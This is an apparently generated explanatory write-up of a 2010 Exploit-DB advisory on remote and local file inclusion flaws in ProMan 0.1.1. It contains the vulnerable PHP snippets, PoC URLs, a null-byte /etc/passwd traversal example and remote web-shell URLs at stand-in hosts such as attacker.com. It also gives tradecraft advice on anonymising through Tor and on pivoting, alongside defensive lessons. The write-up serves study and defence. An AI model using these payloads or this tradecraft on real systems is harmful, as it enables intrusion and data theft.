Understanding File Inclusion Vulnerabilities in ProMan 0.1.1

What this paper is

This paper, published by cr4wl3r in 2010, details multiple file inclusion vulnerabilities found in ProMan version 0.1.1. It explains how both Remote File Inclusion (RFI) and Local File Inclusion (LFI) can be exploited to compromise the web application. The paper provides proof-of-concept (PoC) code snippets demonstrating these vulnerabilities.

Simple technical breakdown

Web applications often use code to include content from other files. This can be done dynamically, meaning the application decides which file to include based on user input.

• Remote File Inclusion (RFI): If the application allows user input to directly control the filename being included, and it doesn't properly sanitize that input, an attacker can trick the application into including a file from a remote server. This remote file can contain malicious code (like a web shell) that the server then executes.
• Local File Inclusion (LFI): Similarly, if user input controls the filename for inclusion, an attacker might be able to include local files on the server that they shouldn't have access to. This could be configuration files, password files, or even source code, which can then be used to gain further information or exploit other vulnerabilities.

ProMan 0.1.1, as described in this paper, suffers from both these issues due to insecure handling of user-provided data in its include statements.

Complete code and payload walkthrough

The paper presents two main code snippets demonstrating the vulnerabilities: one for RFI and one for LFI.

[RFI Code]

<?php
                    if (!($_GET['page']))
                    	include('info.php');
                    else    
                        include $_GET['page'].'.php'; 
                ?>

• Purpose: This PHP code snippet is designed to dynamically include other PHP files based on a GET parameter named page.
• Functionality:
  • if (!($_GET['page'])): It first checks if the page parameter is present in the GET request.
  • include('info.php');: If the page parameter is not present, it defaults to including a local file named info.php.
  • else include $_GET['page'].'.php';: If the page parameter is present, it takes the value from $_GET['page'], appends .php to it, and then includes that file.
• Vulnerability: The critical flaw here is that the $_GET['page'] variable is directly used in the include statement without any sanitization or validation. An attacker can provide a URL that points to a remote file.
• Mapping:
  • $_GET['page']: User-controlled input from the URL.
  • include $_GET['page'].'.php';: The vulnerable function that executes arbitrary code by including a file whose name is constructed from user input.

[LFI Code]

include_once('lang/'.$_SESSION['userLang'].'/elisttasks.php');
if (!defined('PROMAN'))
 	pexit ($l['no hack']);

• Purpose: This snippet demonstrates a Local File Inclusion vulnerability within the lang directory. It attempts to include a language file based on a session variable.
• Functionality:
  • include_once('lang/'.$_SESSION['userLang'].'/elisttasks.php');: This line attempts to include a file. The path is constructed by concatenating the string 'lang/', the value of the session variable $_SESSION['userLang'], and the string '/elisttasks.php'.
  • if (!defined('PROMAN')) pexit ($l['no hack']);: This is a security check. If the constant PROMAN is not defined (meaning the script is likely being accessed directly and not as part of the main application flow), it exits with a message.
• Vulnerability: The vulnerability lies in the $_SESSION['userLang'] variable. If an attacker can control the value of $_SESSION['userLang'], they can manipulate the path to include arbitrary local files from the server. The include_once function is used, but it doesn't prevent path traversal if the session variable is manipulated.
• Mapping:
  • $_SESSION['userLang']: User-controlled input stored in the session.
  • include_once('lang/'.$_SESSION['userLang'].'/elisttasks.php');: The vulnerable function that includes a file based on the manipulated session variable.

Proof-of-Concept (PoC) Examples

The paper provides specific URLs to trigger these vulnerabilities.

• PoC RFI:

  • [phpRAINCHECK_path]/_center.php?page=[Shell]
  • Explanation: This PoC targets the _center.php file (which likely contains the RFI code snippet). The page parameter is set to [Shell]. If [Shell] is a URL pointing to a remote PHP file (e.g., http://attacker.com/shell.txt), the server will download and execute shell.txt. The .php extension is automatically appended by the vulnerable code, so the remote file should ideally be named something like shell.txt or shell.php and contain PHP code.

• PoC LFI:

  • [phpRAINCHECK_path]/elisttasks.php?_SESSION[userLang]=[LFI%00]
  • [phpRAINCHECK_path]/managepmanagers.php?_SESSION[userLang]=[LFI%00]
  • [phpRAINCHECK_path]/manageusers.php?_SESSION[userLang]=[LFI%00]
  • [phpRAINCHECK_path]/helpfunc.php?_SESSION[userLang]=[LFI%00]
  • [phpRAINCHECK_path]/managegroups.php?_SESSION[userLang]=[LFI%00]
  • [phpRAINCHECK_path]/manageprocess.php?_SESSION[userLang]=[LFI%00]
  • [phpRAINCHECK_path]/manageusersgroups.php?_SESSION[userLang]=[LFI%00]
  • Explanation: These PoCs target various PHP files (elisttasks.php, managepmanagers.php, etc.) that likely include the LFI vulnerable code snippet or similar logic. The key is the manipulation of $_SESSION['userLang'].
    • [LFI%00]: This represents the payload for userLang. The %00 is the URL-encoded null byte. In older PHP versions (prior to 5.3.4), a null byte could terminate a string, effectively stopping the path construction at that point.
    • Example: If an attacker sets _SESSION[userLang] to ../../../../etc/passwd%00, the include_once statement would resolve to lang/../../../../etc/passwd%00/elisttasks.php. The null byte would terminate the string, and the include_once would attempt to include /etc/passwd. The application might then display the contents of the /etc/passwd file.
    • Note: The paper implies that these specific files (elisttasks.php, managepmanagers.php, etc.) are entry points that eventually lead to the inclusion of the lang/ directory, or they themselves contain similar vulnerable inclusion logic.

Practical details for offensive operations teams

Planning Assumptions

• Target: ProMan version 0.1.1 or any version with similar insecure file inclusion logic.
• Access Level: No prior authentication is required for the RFI exploit. For LFI, the attacker needs to be able to manipulate session variables, which might require some initial interaction with the application to set the session.
• Environment: A web server running PHP. The specific path [phpRAINCHECK_path] indicates the base URL of the vulnerable ProMan installation.

Lab Preconditions

• Vulnerable Application: A local or remote instance of ProMan 0.1.1 must be set up.
• Remote File for RFI: An attacker-controlled web server hosting a malicious PHP script (e.g., a web shell).
• Target Files for LFI: Knowledge of sensitive files on the target system (e.g., /etc/passwd, configuration files, application source code).

Tooling Assumptions

• Web Browser: For manual testing and observing results.
• Proxy Tool (e.g., Burp Suite, OWASP ZAP): Essential for intercepting and modifying HTTP requests, especially for manipulating session variables and crafting complex GET parameters.
• Command-line Tools (e.g., curl, wget): Useful for scripting and automating exploit delivery.
• Remote Server: To host the RFI payload.

Execution Pitfalls

• RFI:
  • Null Byte Issues: If the target PHP version is newer than 5.3.4, the null byte trick for LFI might not work.
  • Server-Side Filtering: Firewalls or web application firewalls (WAFs) might block requests to external URLs or detect malicious payloads.
  • File Extension: The vulnerable code appends .php. If the remote file is not a .php file (e.g., shell.txt), it might not be executed as PHP code unless the server is configured to execute other extensions as PHP.
  • allow_url_fopen: The PHP configuration allow_url_fopen must be enabled on the target server for RFI to work. This is often disabled for security reasons.
• LFI:
  • Null Byte in Newer PHP: As mentioned, null bytes are less effective in newer PHP versions. Other path traversal techniques might be needed.
  • Path Traversal Depth: The attacker needs to correctly guess the number of ../ to reach the desired file.
  • Session Manipulation: The ability to directly set $_SESSION variables via GET parameters is not a standard PHP feature. This PoC implies a specific way the application handles session data or a separate vulnerability that allows session hijacking/manipulation. More commonly, LFI relies on controlling a parameter that leads to the session variable being set or used insecurely. The PoC ?_SESSION[userLang]=... suggests a direct manipulation, which is unusual. It's more likely that the application has a mechanism to set session variables via GET/POST, or this is a simplified representation.
  • disable_functions: PHP's disable_functions directive might prevent certain file operations or execution of commands if the included file attempts to do so.
  • Output Encoding: If the included file's content is displayed, it might be encoded (e.g., HTML encoded), making it harder to read or exploit directly.

Tradecraft Considerations

• Reconnaissance: Identify the exact version of ProMan. Look for other applications on the same server that might be vulnerable or provide useful information.
• Payload Staging: For RFI, host a robust web shell that can be used for further enumeration and exploitation. For LFI, identify critical files to exfiltrate.
• Anonymity: Use proxies, VPNs, or Tor for RFI payload delivery and LFI reconnaissance to obscure the source IP.
• Post-Exploitation: After gaining code execution via RFI or information via LFI, pivot to privilege escalation or lateral movement.

Expected Telemetry

• RFI:
  • Web Server Logs: Outbound connections from the target server to the attacker's RFI server. Requests for the malicious PHP file.
  • Attacker Server Logs: Inbound requests for the malicious PHP file.
  • Application Logs: Potentially unusual entries if the included shell logs its actions.
• LFI:
  • Web Server Logs: Requests to the target application with unusual userLang parameters (e.g., containing ../, null bytes, or paths to sensitive files).
  • Application Logs: If the application logs errors or attempts to include files that don't exist.
  • File System Access Logs: If enabled, these might show access to sensitive files.

Where this was used and when

• Context: This vulnerability was found in a web application called ProMan, specifically version 0.1.1. ProMan is likely a project management or similar web-based tool.
• Timeframe: The paper was published on February 27, 2010. This indicates the vulnerability existed and was exploitable around that time. Such vulnerabilities are common in older, unpatched web applications.

Defensive lessons for modern teams

• Input Validation and Sanitization: Never trust user input. All data coming from the client (GET parameters, POST data, cookies, session variables) must be rigorously validated and sanitized before being used in file operations, database queries, or system commands.
• Principle of Least Privilege: Applications should only have access to the files and resources they absolutely need. Restrict file inclusion paths to a predefined, safe directory.
• Secure Configuration:
  • Disable allow_url_fopen and allow_url_include in php.ini to prevent RFI.
  • Keep PHP versions updated to patch known vulnerabilities, including those related to null byte handling.
• Web Application Firewalls (WAFs): Deploy and configure WAFs to detect and block common attack patterns like path traversal and RFI attempts.
• Code Auditing: Regularly audit application code for insecure practices, especially around dynamic file inclusion and user-controlled input.
• Session Management: Implement secure session management practices. Avoid allowing direct manipulation of session variables through URL parameters.

ASCII visual (if applicable)

This scenario can be visualized as a flow where user input dictates which file the server reads and executes.

+-----------------+      +-----------------+      +-----------------+
| Attacker's      |----->| Web Server      |----->| ProMan App      |
| Input (URL/     |      | (PHP Engine)    |      | (Vulnerable     |
| Session)        |      +-----------------+      | Code)           |
+-----------------+                               +-------+---------+
        |                                                 |
        | User Input (e.g., ?page=http://evil.com/shell)  | include()
        |                                                 |
        v                                                 v
+-----------------+      +-----------------+      +-----------------+
| Remote Server   |      | Local File      |      | Server's        |
| (RFI Payload)   |      | System (LFI)    |      | Execution       |
+-----------------+      +-----------------+      +-----------------+

Explanation:

• The attacker provides input via the URL (for RFI) or manipulates session data (for LFI).
• The Web Server, running the PHP engine, receives the request.
• The ProMan application code processes this input.
• If vulnerable, the include() function is called with the attacker-controlled path.
• This can lead to the server fetching and executing code from a Remote Server (RFI) or reading and potentially displaying/executing Local Files on the server's file system (LFI).

Source references

• Paper ID: 11587
• Paper Title: ProMan 0.1.1 - Multiple File Inclusions
• Author: cr4wl3r
• Published: 2010-02-27
• Paper URL: https://www.exploit-db.com/papers/11587
• Raw Exploit URL: https://www.exploit-db.com/raw/11587

Original Exploit-DB Content (Verbatim)

##############################################################
##ProMan  <= 0.1.1 Multiple File Include Vulnerability
##############################################################
Author: cr4wl3r <cr4wl3r\x40linuxmail\x2Eorg>
Download: http://sourceforge.net/projects/pman/files/
##############################################################
[RFI Code]

<?php
                    if (!($_GET['page']))
                    	include('info.php');
                    else    
                        include $_GET['page'].'.php'; 
                ?>

[LFI Code]

include_once('lang/'.$_SESSION['userLang'].'/elisttasks.php');
if (!defined('PROMAN'))
 	pexit ($l['no hack']); 
##############################################################
PoC RFI:
 [phpRAINCHECK_path]/_center.php?page=[Shell]
##############################################################
PoC LFI:
 [phpRAINCHECK_path]/elisttasks.php?_SESSION[userLang]=[LFI%00]
 [phpRAINCHECK_path]/managepmanagers.php?_SESSION[userLang]=[LFI%00]
 [phpRAINCHECK_path]/manageusers.php?_SESSION[userLang]=[LFI%00]
 [phpRAINCHECK_path]/helpfunc.php?_SESSION[userLang]=[LFI%00]
 [phpRAINCHECK_path]/managegroups.php?_SESSION[userLang]=[LFI%00]
 [phpRAINCHECK_path]/manageprocess.php?_SESSION[userLang]=[LFI%00]
 [phpRAINCHECK_path]/manageusersgroups.php?_SESSION[userLang]=[LFI%00]

others...
##############################################################